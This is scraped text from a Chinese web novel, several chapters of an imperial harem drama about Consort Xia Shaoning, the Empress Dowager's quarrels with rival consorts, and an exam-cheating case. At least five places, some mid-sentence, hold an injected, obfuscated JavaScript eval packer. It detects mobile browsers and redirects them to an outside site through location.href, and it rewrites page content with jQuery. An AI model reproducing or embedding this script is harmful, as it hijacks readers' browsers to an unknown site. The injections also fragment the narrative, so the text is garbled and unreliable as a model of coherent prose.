眼见着母妃回来了,小家伙立刻丢下手里的积木“噔噔噔”地就朝着她快速爬了过来。 投进她的怀抱里又给了她一个黏黏糊糊的吻。 “我们昀儿真的越来越懂事了!” 夏韶宁看着那个犹如小炮弹一般朝着自己冲过来的小家伙,刚刚还阴郁的心情瞬间就多云转晴了。 去他什么纯德妃,去他什么萧祈安,这个世界上,再没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488757|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么比与自己血脉相连的孩子的笑脸更重要更治愈了。 “六皇子一直等着娘娘呢,怕是记着娘娘走的时候说的要亲手给他做鸡蛋羹吃。” 奶娘上前来对着夏韶宁行了一礼,面上的笑容很真切。 “行,母妃去给昀儿做鸡蛋羹吃!” 夏韶宁将六皇子抱在怀里逗弄了好一会儿,这才转头往小厨房去了。 *** 没有人知道未央宫的纯德妃与圣上之间到底发生了什么事情,众人看到的就是整个三月份,圣上基本上都宿在未央宫。 就连之前风头正盛的丽美人与一直盛宠不衰的昭贵妃,好像统统都被纯德妃比了下去。 而随着圣上越来越多的陪伴,本就在后宫里传的似乎随时病得都会断气的纯德妃,身体却一日比一日好了起来。 其他等人并不知道里头的猫腻,但是夏韶宁却是再清楚不过的了。 夏韶宁不紧在心中暗暗想着,也不知道纯德妃这般想尽一切办法把萧祈安的人留在了她的身边,她是不是就真的开心呢? 只是丽美人见着如今这般风向,整个人又急了,还没等夏韶宁派人去照看她,她自己倒是带着花影又跑到承乾宫来了。 “你这胎刚满三个月,不在宫里好好待着,跑到本宫这里来做什么?” 夏韶宁看了一眼满脸通红的丽美人,刚刚睡醒的脸上还带着一丝困倦和疑惑。 “娘娘……圣上已经差不多有一周没来过臣妾宫里了,臣妾如今怀着身孕不好伺候圣上,您……您不会责怪臣妾又让纯德妃独宠了吧?您不会……不管臣妾了吧?” 丽美人一边说,一边就差要哭出来了。 “你说你一个孕妇,胡乱着急什么?本宫说了怪你吗?说了不管你吗?” 夏韶宁瞥一眼眼眶红红的丽美人,忍不住就哈哈大笑起来。 “你放心吧,你的福气比她好多了。你如今就安安稳稳在自己宫里养胎,好好地把这个孩子生下来才是正经事,明白了吗?” 第230章 太后又插手 站在夏韶宁的角度,她实在是不太愿意管萧祈安与纯德妃的那些事的。 自从那日给纯德妃把脉把出了她脉象的异样之后,夏韶宁对她的看法就完全变了。 她毕竟不是萧祈安,她也说不好这个男人的内心深处对纯德妃的感情到底有几分真几分假。 夏韶宁只是明白,萧祈安对傅鸣玉的感情,并不单纯。 只是虽然夏韶宁不愿意管这件事,但这宫里还有个女人是特别热衷于参与萧祈安后宫这些是是非非的。 永寿宫。 夏韶宁站在下首,旁边站着面无表情的纯德妃。 太后坐在上首,正有一下没一下摸着怀里那只长毛白猫。 “昭贵妃。”也不知道殿内安静了多久,太后终于出声了。 “这半个月来,圣上去过你宫里吗?” 她抬头看了一眼夏韶宁,那眸子里居然带了一丝淡淡的嘲讽。 夏韶宁一时搞不明白这太后又想做什么,只是太后这个问题问出口,却让她觉得心里十分不舒服。 于是她说话的语气也就没了从前那般恭敬了。 “回太后娘娘,您大概不太了解咱们这位圣上,他从不愿意自己活在众人的猜测下,所以他日常去哪个宫里也不是臣妾能知道的。” 谁知夏韶宁这话刚说完,太后却是直接笑出了声。 “呵,昭贵妃的口才还是一如既往的好啊。想到两年前圣上刚刚登基的时候,拉着你在哀家的永寿宫里说了一大堆,话里话外都是让哀家别欺负你,别找你麻烦。” “哀家还以为你能盛宠多少年了,再不济也该同先帝的珍贵妃比一比吧?如今呢?还不是得眼睁睁看着自己的男人天天宿在另外一个女人的宫里!” 说到这儿,太后的眼神便直直地落在了纯德妃的身上。 这会儿的夏韶宁才终于明白太后今日召她来永寿宫的目的是什么。如此瞧着,今日的主角应该不是她,而是一旁的纯德妃了。 果然,太后这番话的确是为了嘲讽夏韶宁。还没等她开口辩解,太后就直接对着纯德妃出声了。 “纯德妃,之前后宫里都在传说你病得身都起不来了。怎么,圣上在你那住了半个月,如今都能亲自走到哀家永寿宫里来了?哀家竟然不知道圣上他还会看病呢?” 一连几问,句句都不是能让人好好回答的问题。 就在夏韶宁还在想着纯德妃会怎么回答的时候,她居然连思考都没有思考,直接就开口了。 “臣妾不明白太后娘娘是什么意思。” 一句话,言简意赅。 她倒是想直接一句不明白把太后的恶意找茬给堵回去,但是太后又岂是如此好糊弄的人? 听得纯德妃这番话,太后气得“啪嗒”一声顺手就将手边的一个茶杯摔到了纯德妃的脚边! 那茶杯里的水倒在地上还在冒着热气,想来温度不低。那茶水就那样直直地泼到了纯德妃的脚背上,夏韶宁明显感觉到了她的身子狠狠地颤抖了一下! “你们这批宫妃入宫来拜见哀家的时候,哀家强调过很多次,不许私底下耍心机使手段自己单独霸占圣上!圣上是大容的皇帝,若是人人都同你这样装病霸占着他,他不去别的宫妃那里,别的宫妃如何为大容繁衍子嗣?子嗣凋敝,大容如何才能强盛起来?!” 太后这话说得激动,脸色也瞬间因为过于激动而变得通红起来。 “太后娘娘息怒,都是臣妾的不是。”眼见着太后是真的生气了,哪怕这发火的对象并不是冲着自己,夏韶宁还是选择立刻跪下请罪。 毕竟她如今是手握主理六宫权利的贵妃,今日太后因为纯德妃独宠发了这么大的脾气,一顿骂她怕是也逃不过了。 果然,夏韶宁刚跪下身来,太后就将目光对准她了。 “讲到底这件事的确是你的问题,圣上不愿立皇后,如今后宫里你这个贵妃位份最高。你非但不去劝诫圣上不要独宠一人,甚至连管理宫妃都做不好,如此这般,你有何颜面继续握着这主理六宫的权利?” 夏韶宁上一秒还本着一种看热闹的心态,太后这话一出,她瞬间就笑不出来了。 凭什么萧祈安那个狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488758|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人和纯德妃在这演一出痴男怨女的戏码,到最后倒霉的居然是她?这是什么道理? 想到这里,她连一丝犹豫都没有,转头就对着仍旧站着笔直的纯德妃喝道,“太后娘娘教训你,你非但不认错,甚至连下跪都做不到?本宫问你,纯德妃,你可知罪?” 话说到了自己头上,纯德妃在想装傻也是不能够了。于是她至于心不甘情不愿地朝着太后跪了下来。 只是却依旧不发一言。 这般举动,更是彻底把太后给惹怒了。 “昭贵妃!哀家今日就在这看着,你要如何处罚这个不知天高地厚的东西!若是你给出的处罚哀家不满意!明日起,你就卸了你手中的所有权利!回到你的承乾宫去只当你的贵妃罢!” 听得太后这番话,夏韶宁这会儿的脸色可真是苦得和那放了三天的苦瓜差不多。 她有些无奈地盯着跪在地上仍旧倔强地不发一言的纯德妃,只觉得头痛得厉害。 说起来,是不是武将家的女儿,性子脾气就是这么直接啊?但凡你服个软呢?那不是你好我好大家好的事情吗? 此时此刻太后就这样地盯着她,她就算有心想放水,也是不能了啊。 强迫自己闭着眼睛想了好一会儿,再睁开眼睛,夏韶宁终于缓缓出声了。 “纯德妃傅氏,不尊太后,装病邀宠,今日本宫就罚你在永寿宫门外跪满两个时辰,你服是不服?” “两个时辰?哀家看她得跪……”很显然,太后对于夏韶宁给纯德妃的处罚并不满意。 只是她还未将口中的话说完,夏韶宁便又立刻厉声对着纯德妃道,“本宫再问你一遍,你服是不服?” 直到这个时候,纯德妃终于看明白了太后今日叫她与昭贵妃来完全就是找茬的。 眼见着夏韶宁已经做到了这种程度,她终于不情不愿地开口回了一句,“臣妾谨遵贵妃娘娘旨意,这就去永寿宫门口跪着。” 说完,她便自顾自地撩起外头的裙子就跪在了永寿宫门口那坚硬的青石板路上。 再没多说一句话。 第231章 没那么简单 “太后娘娘别生气,纯德妃入宫时间短,有许多规矩还不懂。赶明儿臣妾找几个嬷嬷去未央宫,好好教教她规矩。” 眼见着纯德妃已经去永寿宫门口跪着了,夏韶宁便继续在太后面前陪起笑脸来。 她只希望太后别再口口声声要卸了她协理六宫的权利了。 虽然夏韶宁知道萧祈安并不会听太后的话,可是一件事情若是反反复复地在萧祈安的面前提起,难保这狗男人不会起了别的心思。 如今的夏韶宁可以不要爱情,但是她不能不要权利。 因为权利,是她以后为昀儿铺路最重要的媒介。 看着夏韶宁一副服软的样子,刚刚还盛怒的太后如今心里倒是舒服了不少。 她有些不屑地瞥了一眼仍旧扬着笑脸的夏韶宁,又看了一眼门口跪得笔直的纯德妃,内心的虚荣感此时得到了巨大的满足。 “行吧,这件事儿就到此为止了。”太后松了手,她怀里的白猫立刻挣脱出来跑没了影。 “只是哀家不希望日后宫里再发生这一类事情了,昭贵妃,你可明白?” “臣妾明白。”夏韶宁恭敬地点了点头道。 …… 后宫里发生的事情其实是没什么能瞒得住萧祈安的。 萧祈安下了大朝会以后,他就已经知道了刚刚在永寿宫发生的事情了。 “陛下,纯德妃娘娘如今还在永寿宫门口跪着呢,您要不要去看看?” 眼见着萧祈安下朝以后便回到了紫宸殿批改奏折,张全和还是忍不住提醒了他一句。 “张全和,朕瞧着你这差当的是越发好了。朕如今做什么不做什么,难不成都得归你管了?” 萧祈安握着朱笔头都没抬,只是说话的语气冷峻中又带着一丝威严。 “陛下息怒,奴才不敢!”张全和伺候了萧祈安这么多年,他怎么会分不出这位爷是真生气还是假生气。 如今他的面上虽然没什么生气的表情,但是从他的表现和说话的语气里,张全和就能感觉到——圣上他生气了。 “她自己做错了事,还连累昭贵妃被太后骂,罚跪是应该的。” 说到这儿,萧祈安终于从如山的奏折里抬起了头。 “昭贵妃说让她跪满两个时辰,若是朕现在去让她起来,贵妃以后在后宫里还有何威信?” “朕晚些时候再……” 萧祈安一边说,一边顺手又从案几上拿起了一本奏折。本只是随意看了一眼,只这一眼,他忽然就变了表情。 “朕今日哪儿都不去。”萧祈安收了奏折,从椅子上站了起来。 “纯德妃若是会让人来请朕,就说朕累了睡着了。贵妃虽然在太后那受了委屈,但是朕猜测她是什么都不会说的。你去朕的库房把前段时间南豫进贡的那顶流光溢彩琉璃盏给贵妃送去,让她无聊时把玩。” 萧祈安眯了眯眼,不知为何脑子里全都是刚刚奏折上的内容,心中莫名有些烦闷。 他转过头来看了张全和一眼,话里带着一丝警告的味道。 “朕进去休息会儿,你给朕把门看好了。若是有人敢来烦朕,朕唯你是问!” *** 承乾宫。 “娘娘你瞧,这盏上刻了好多花儿鸟儿,这阳光一透过来,里头流光溢彩的,可真好看!” 含秋趴在桌上,正盯着刚刚张全和送来的那顶琉璃盏新鲜着。夏韶宁坐在她身后的暖座上,倒是显得兴趣缺缺的样子。 “娘娘还在想刚刚在永寿宫的事儿吗?”眼见着夏韶宁不太高兴,兰芷的面前露出了一丝担忧的神情,“太后娘娘不会真的跑到圣上面前告您的状吧?” “她要是敢到圣上面前去告状,何苦还要闹今日这一出?”想到太后与萧祈安之间那岌岌可危的母子关系,夏韶宁从心底里觉得好笑。 一对亲母子闹到如今这个地步,彼此之间连好好坐下来说一句完整的话都不能够,也是大容史上闻所未闻之事了。 “放心吧,太后今日不是冲着我来的。或者说,她不是完全冲着我来的。” 顿了会儿,夏韶宁出声了。 “太后在先帝朝的时候就不受宠,如今当上太后了,当然见不 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不然的话,别还没等到她的昀儿长大,她路都没给昀儿铺好,手中的权利就给后宫里这一个个不安分的女人们给作没了。 …… 后宫的众人们一时之间有些不明白,明明之前好像懒得管事的昭贵妃娘娘,为何忽然好像变了个人一样。 一开始倒是还有些宫人不以为意,依旧我行我素地在私底下偷偷传着主子们的闲话。只是当宫人们亲眼见着这些传话的宫人们一个接一个被昭贵妃送进了永巷,大家才明白贵妃娘娘这是来真的了。 一时之间,后宫里无论宫人还是主子,便开始人人自危起来。 夏韶宁这人偶尔只是有些犯懒,但是一旦她决心要做某件事的时候,她就会尽善尽美做到最好。 如此,后宫里又变回了萧祈安初登基时那般井井有条的样子。以至于太后好几次想要找夏韶宁的麻烦,也就师出无名了。 倒是让太后郁闷了挺长的时间。 第232章 琢磨不透 时间一晃又是十天过去,而在这十天里,后宫里的风向似乎又发生了变化。 纯德妃自从那日被昭贵妃罚跪了两个时辰以后,无论她如果再装病或者是再用其他什么手法派人去紫宸殿请萧祈安,萧祈安始终避而不见。 而让人意外的是,萧祈安这段时间既没去纯德妃的未央宫,他也没有去夏韶宁的承乾宫。 因为不久之前夏韶宁才大力整治过后宫宫人乱嚼舌根的现象,所以这一次,没人敢在私底下再议论这件事情了。 而宫人们不议论,并不代表后宫的宫妃们不觉得奇怪。因为她们很明显感觉到,这段时间,一直不太得宠的许昭容和何才人,侍寝的次数却逐渐变多了起来。 夜,承乾宫。 夏韶宁这会儿刚洗了澡,趴在床上由着惜春和含秋给她擦头发,便见着兰芷从外头走了进来。 “娘娘,圣上今日宿在何才人的扶桑阁了。” “嗯……这三日是何才人侍寝,前两日是许昭容侍寝,这两人最近侍寝倒是挺频繁。” 许是趴累了,夏韶宁翻了身就坐了起来。 “这圣上的脾性真是越来越让人琢磨不透了。” 虽然夏韶宁对萧祈安并无什么男女之情,但是这四五年的相处下来,她自诩自己对这男人算是比较了解的了。 她很清楚萧祈安并不是那种十分重欲之人,他召后宫里的哪个宫妃侍寝,都是有深层次的含义的。 他不召纯德妃侍寝,很明显是他觉得纯德妃装病争宠越过他的底线了。可是这男人最近也没来她这里,甚至连一直被他捧在手心里的昀儿都不来看了,这一点确实让夏韶宁觉得有些奇怪。 “娘娘可要干预一番?”看着夏韶宁紧皱的眉头,兰芷便压低声音问了一句。 “你也太看得起我了,圣上要召谁侍寝,哪里是我能干预的了的?”听得兰芷的话,夏韶宁无所谓地耸了耸肩。 “让我们的人多盯着些吧,有事就及时来报,其他的就静观其变吧。” 夏韶宁摇了摇头一副不甚在意的,转身躺下准备休息了。 …… 而就在夏韶宁准备就寝的时候,何才人的扶桑阁里,仍旧灯火通明。 “你这套文房四宝,瞧着可是价值不菲啊!” 萧祈安坐在桌前,随手拿起了何才人画的一幅画,说话的语气倒是随和。 “回陛下的话,这桌子上摆的是湖笔、徽墨、宣纸、端砚。”眼见着萧祈安对自己的文房四宝感兴趣,何才人高兴极了,忙不迭地对着萧祈安介绍了起来。 “臣妾也不知道这些东西价值几何,只是臣妾原在家中就爱舞文弄墨,所以入宫的时候父亲就替臣妾准备了这些。” “嗯,你父亲在国子监任职时间也不短了,对这些东西当然了解。” 听得何才人的话,这会儿的萧祈安脸色倒是微不可闻地变了。只是如今正在滔滔不绝说话的何才人,并没有发现。 “是啊,臣妾的父亲最爱这些名贵的东西了,这套文房四宝还不算什么呢!陛下您知道前朝大家黄公望的《富春山居图》吗?那幅图的真迹就在臣妾父亲的书房里挂着呢!” 何才人仰起脸来看着萧祈安,萧祈安居然从她以往总是木愣愣的眸子里,看出了一丝激动的神情。 “是吗?这幅画可谓价值千金啊,何大人可真舍得花钱呢!”说到这里,萧祈安居然笑了起来,“对了,朕听说你父亲与许昭容的父亲私底下关系也不错,平日里怎么不大见你们两人来往呢?” 何才人有些不明白圣上刚刚明明还在同自己讨论文房四宝和字画,这会儿为何又扯到许昭容头上去了。 只是圣上问了,她身为宫妃又不能不回答,所以她稍稍斟酌了一会儿,便小心翼翼地开口了。 “许昭容的父亲外放回到金州后曾在国子监任职过一段时间,臣妾的父亲就是那个时候与许昭容的父亲相识的。刚好两人都偏爱诗书字画之类的东西,所以哪怕后来许大人升任了下州刺史,两位的关系也一直很好。” “臣妾与许昭容私底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想到上一次太后因为纯德妃独宠的事情把自家娘娘为难成那个样子,惜春觉得头都大了。 “这群女人,一天到晚就不能消停一下!本宫迟早有一天得被她们气死!” 看着惜春这般焦急的样子,夏韶宁只觉得自己脑袋都大了。 “罢了,随我去看看。”夏韶宁将六皇子交给站在一旁的奶娘,衣裳都来不及换,跟着惜春就往御花园去了。 第233章 爬得高跌得重 当夏韶宁紧赶慢赶赶到御花园的时候,许昭容和沈婕妤果然在吵架,一旁的何才人正小心翼翼地在劝说许昭容。 “许姐姐,算了罢……沈婕妤也不是有意的,你别在这儿和她吵了。一会儿把贵妃娘娘招来了,咱们都得受罚的……” 谁知许昭容压根就没将何才人的话听进去,反而一把将她的手甩到了一边。 “今日就算贵妃娘娘来了,也是我有理!再说圣上都多久不去承乾宫了,她还有什么底气罚我们……” “哦?本宫还当是谁在这御花园没规矩地大吵大闹呢,原来是许昭容啊。” 眼见着许昭容的话越说越过分,夏韶宁终于从树丛后头走了出来,走到了众人的面前。 众人眼见着贵妃娘娘来了,脸色立刻就变得恭敬了起来。 毕竟大家都明白,眼前这位昭贵妃娘娘她不管得不得宠,都是有权利把她们送到永巷去受罪的。 “贵妃娘娘……臣妾给贵妃娘娘请安!” 说曹操曹操就到,眼见着刚刚还被自己挂在嘴边的人真的出现在自己面前了,刚刚还趾高气扬的许昭容立刻跪下身来,不敢再做声了。 “你们在吵什么?闹得整个御花园的宫人全都围在这里看你们吵架,你们说说这成何体统?” 夏韶宁压根就没看许昭容一眼,而是将目光投向了同样跪在地上却自始至终一句话都没说的沈婕妤身上。 沈婕妤抬起头来,就对上了夏韶宁的眼睛,她忽然就有些恍惚了。 记忆中的夏侧妃好像已经是上辈子的事情了,如今站在自己面前这般通身气派的女人,她已经不是贤王府里那个侧妃了,而是大容国一人之下万人之上的昭贵妃。 她扯着嘴角苦涩地笑了笑,随即还是认命般的开口了。 “回贵妃娘娘的话,臣妾瞧见今日天气好,便想着带着四皇子与五皇子来御花园走一走。” “谁知五皇子在放风筝的时候不小心撞倒了正在喂鱼的许昭容,臣妾当时已经同许昭容道歉了,谁知她仍是不依不饶,非要罚臣妾在这石子路上跪两个时辰才肯罢休。” “四皇子与五皇子的身子本就不好,从小到大都靠着臣妾一点一点精心养育到如今这个年纪。若是臣妾在这石子路上跪上两个时辰,这膝盖跪废了,可就没办法时时刻刻照看着两位皇子了啊!” 说到这里,沈婕妤便再也忍不住了,捂着脸就跪坐在地上无声地哭了起来。 “许昭容,沈婕妤刚刚说的是不是实话?”夏韶宁并没有因为沈婕妤的眼泪就觉得眼前的人很可怜。她只是略略瞥了一眼跪坐在地上哭泣的沈婕妤,便转过目光询问一旁的许昭容。 “贵妃娘娘,您不要听沈婕妤的一面之词啊!”听着沈婕妤说的话,许昭容想都没想就开口反驳了起来。 “她的确同臣妾道歉了没错,只是她道歉的语气一点儿都不好!那么心不甘情不愿的!” “而且她说到最后居然还拿四皇子与五皇子来威胁臣妾!谁不知道圣上根本不喜欢这两个皇子,沈婕妤都好几年没侍过寝了,她怎么敢在臣妾面前这般耀武扬威的……“ “闭嘴!”眼见着许昭容仍旧喋喋不休,这头的夏韶宁是真的生气了。 她冷冷地盯着许昭容看了好一会儿,这才缓缓出声道,“你如今这般得意,不给自己留一点儿退路,难道就没想过自己也会有失宠的那天吗?爬得高跌得重的道理,你不明白吗?” 夏韶宁一边说,一边蹲下身子死死地盯着许昭容的眼睛又道,“四皇子与五皇子怎么说都是圣上的孩子,他们就算有千万般不好,也轮不到你在这儿说三道四!” “兰芷!”夏韶宁站起身来,语气严肃地对着一旁的兰芷道,“你去紫宸殿同圣上说一声,就说许昭容冲撞皇子,在御花园里无故**,本宫罚她在披香殿闭门思过!等到她什么时候想明白了自己错在哪里了,什么时候再出来吧!” 听得夏韶宁对自己的处罚,许昭容立刻就大叫了起来。 “昭贵妃,本宫好歹是昭容,是一宫主位!如今没有圣上的口谕,你凭什么让本宫禁足?本宫要去见圣上… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497570|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “不用你去见圣上,圣上有任何觉得本宫做得不好的地方,他会直接去承乾宫寻本宫,用不着你告这多此一举的状!” 此时的夏韶宁压根懒得同这女人在这掰扯,她站起身来白了她一眼,想了想,还是走到了仍在掩面哭泣的沈婕妤面前。 “难得你有一颗慈母心,本宫都明白。带着四皇子和五皇子先回你自己宫里去吧,圣上不会怪你的。” 说完这句话,夏韶宁也不管沈婕妤此时看着她的目光有多复杂,转头就带着宫女离开了。 …… 夜,承乾宫。 “多大的事情值得你在御花园当着那么多宫人的面发如此大的火,生气老得快你不明白?” 这会儿的夏韶宁正面无表情地坐在暖座上看书,萧祈安则有些无奈地坐在她面前看着她。 “臣妾不明白!”听得萧祈安的话,夏韶宁甚至连头都不想抬。 “反正陛下今天宠着这个,明天宠着那个,宠来宠去就是闹出一堆烂摊子让臣妾收拾。说实话,臣妾真的有些烦了。” 说到这里,夏韶宁觉得越说越气。 她顿了一会儿,直接一把就将手里的书丢到了萧祈安的身上。 “宁儿别生气了,你得相信朕始终有自己的打算。”萧祈安一把将夏韶宁丢过来的书接住了,反手将她揽进了怀里。 夏韶宁一开始还想从他怀里挣脱出来,只是她越挣脱萧祈安却抱得越紧。几次之后,她索性也就放弃了,任凭萧祈安揽着她不住地喃喃着。 “朕相信你,也相信你的家人,只是这大容还有许多人是朕不能够完全相信的。” “这个国家还不够好,最起码还没达到朕以为的好。朕只想尽力让这个国家在朕的手上变得越来越好,才好交给下一任**者一个风清气正的大容,朕说的这些,宁儿你可明白?” 萧祈安这话说得有些模糊,其实夏韶宁是不太懂的。 只是她感受到了萧祈安语气里的无奈,顿了好一会儿,她还是轻轻的点了点头。 “臣妾明白了。” 第234章 出事了 四月中旬,辽州城出了一件大事。 在辽州城三月末举办的乡试中,居然出现了多份雷同试卷! 帝大怒,派遣刑部尚书,也就是如今的恒王与大理寺少卿夏明博前往辽州,将参与这一次乡试的主考官、副考官统统押解回了金州,直接就投入了刑部大牢。 虽然这件事情牵扯到的是几位考官与负责组织科举乡试的礼部,但是身为辽州州令的夏宽,还是或多或少的受到了牵连。 萧祈安虽然并没有直接下令处罚他,但是也给他下了死命令——不管他用什么方法,限他半月内查清这桩乡试试卷雷同案。 若是查不出来……后果自负! …… 承乾宫。 夏韶宁捏着父亲好不容易送进宫来的信,如今可谓坐立难安。 算起来,父亲今年年底就该外放结束,回到金州城了。 而谁能想到就在这个节骨眼上,辽州城会出现这么大的一件事情。 虽说父亲在信上并没有写明这雷同试卷到底是如何个雷同法,但是只要仔细想一想就该明白,一场考试会出现多份雷同试卷,这很明显就是有人舞弊了!而且最可怕的是……这有可能是多人舞弊! 想到这里,夏韶宁忽然觉得整个后背都凉了起来。 “李顺,你往长乐长公主府里递个话,就说本宫想见昱公子了,让长公主今日若是有空,便带着昱公子到承乾宫来坐一坐。” 萧祈安登基以后,就给所有出嫁的公主加封了长公主。 长乐长公主与夏明博成亲第二年就生了一个儿子,取名为夏卓昱。今年已经四岁了,正是活泼可爱的年纪。 夏韶宁的二哥夏明博如今已经是大理寺少卿了,正好是他与恒王承办了这件案子。只是夏韶宁如今已经是贵妃了,她定是不能再同从前一般遇见事情就直接回家去询问的。 所以如今最折中的方法,就是让长乐长公主带着夏卓昱进宫来,借着陪她聊天的由头,好好问一问长公主是否了解这件案子背后的一些关键问题。 一个时辰后。 “贵妃娘娘!”萧云薇一接到宫里传来的消息,就知道夏韶宁是因为什么来寻她的。她略略整理了一下思绪,就带着夏卓昱进宫了。 “蕙心,你带着昱公子去偏殿同六皇子玩一会儿。” 眼见着萧云薇入了殿来,夏韶宁忙对着殿内伺候的人挥了挥手,宫人们便都退了下去。 “云薇,这到底是怎么一回事儿?!” 如今殿内已经没了外人,夏韶宁面对着萧云薇,这会儿的脸色才肉眼可见的慌张起来。 “娘娘您放心。”看着夏韶宁这般样子,萧云薇忙紧紧地拉住了她的手,示意她安心。 “昨日相公下值回府,偷偷同我说了,这件事情与公爹没有关系。怕是……与国子监有些关系。” “国子监?”听得萧云薇的话,夏韶宁愣了一会儿,随即道,“科举之事不是由礼部和地方各州举办的吗?怎么还会牵扯到国子监呢?” “由谁举办是一回事儿,而举办的人有何背景,那又是另外一回事儿!” 萧云薇靠近了夏韶宁一点儿,随即压低声音道,“那个主考官,曾经是何才人父亲的学生。而何才人的父亲虽然官职不高,但也是个四门博士,教出的学生没有一百那也有八十了。” “还有,我私下打听过了,这何才人的父亲一直都同许昭容的父亲关系密切。两人虽如今官职不同,但是因为同住金州城,两家人平日里走得很近。” 夏韶宁压根没想到,这一桩乡试舞弊案,居然还牵扯到了后宫里的两位宫妃。一时之间倒是愣在原地,不知该说什么才好。 “这消息可靠吗?圣上……知道了吗?” 沉默了好一会儿,夏韶宁这才缓缓开口问道。 “整个大容,哪儿有皇兄不知道的事儿?连我都知道的事情,皇兄肯定早就知道了。”萧云薇低声道。 “圣上早就知道了么……”这会儿的夏韶宁,脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497571|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一直反反复复地回荡着刚刚萧云薇同自己说的事情。 许昭容……何才人……,她细细咀嚼着这两个人的名字,忽然就感觉茅塞顿开! “我就说圣上前段时间为何好端端的没有任何预兆就开始宠幸这两人,原来圣上早就知道这两人的母家有问题!” “他这般做,就是为了给这两人的母家设个障眼法,让他们放松警惕!” 想到这里,夏韶宁这才打心底里对萧祈安佩服起来。 这个男人为了查案子,居然不惜出卖自己的“色相”。一个皇帝当到这个份上,也真的是很难得了。 萧云薇一开始不明白夏韶宁在说什么,于是夏韶宁便将前段时间后宫里发生的一些变化一五一十地讲给了她听。 听到最后,连萧云薇也不禁对这萧祈安竖起了大拇指。 “皇兄当初还未登基的时候,在都察院办案就是这个。”萧云薇继续将大拇指竖了起来。 “如今当上了皇帝,还能有这般缜密的思维,我当真佩服他。” “不管怎么说,只要这件事情不要牵扯到父亲,牵扯到夏家,我就放心了。” 知道了里头具体的事情,此时的夏韶宁才觉得全身都放松了下来。 “娘娘别急,我总觉得这件事情,或许是皇兄在给公爹制造的升官契机呢!”萧云薇看了夏韶宁一眼,面上的表情有些神秘莫测。 夏韶宁也不是个蠢人,听得萧云薇提起这个,她瞬间也就明白了过来。 她还记得当初萧祈安让夏宽外放的时候,就同夏韶宁说过,等到夏宽外放回金州以后,他想把夏宽放到一个很重要的位置。 这次的辽州科举舞弊案,其实完全不需要夏宽参与,萧祈安也能查明这件案子,但是他还是把这个所谓的“压力”给到了夏宽。 细细想来,这未必不是萧祈安在给夏宽机会。 同样的,或许也是在给他这个登基还不到三载的新帝王,一个慢慢给朝堂重新洗牌的机会。 第235章 案件告破 萧祈安从前在都察院办案的时候,就有人送他一个外号叫“拼命三郎”。这外号不仅仅代表着萧祈安办案认真仔细,更代表着他最追求办案的速度。 辽州科举舞弊案发生不到半月,在刑部和大理寺以及都察院的联合参与下,案子直接就顺利告破了。 辽州贡院的院长陈庆达,联合自己曾经在国子监就读时的恩师四门博士何严,以及与何严关系密切的下州刺史许海道,沆瀣一气!在辽州举行的乡试中收受多名考生的贿赂,先后买通了这场考试的一名主考官与三名副考官,这才导致了整个考场出现了多份雷同试卷! 另外,在萧祈安的授意下,都察院在何严的府中搜出了大量来路不明的钱财、名贵字画以及各类琳琅满目的奇珍异宝。数量之多,体量之大,令人瞠目结舌! 经过大理寺接近五天的审问,许海道与何严对于自己的犯罪事实供认不讳。 最终这件案子的判决如下—— 辽州贡院院长陈庆达与此次乡试的一名主考官三名副考官,全部斩首抄家,家中直系亲属全部流放墨州。 四门博士何严,因其在这件案子起到一个纽带作用,是主犯。所以萧祈安直接将他罢了官,抄了家,整个何府被判流放墨州,且何家子孙三代不得参加科举,不得为官! 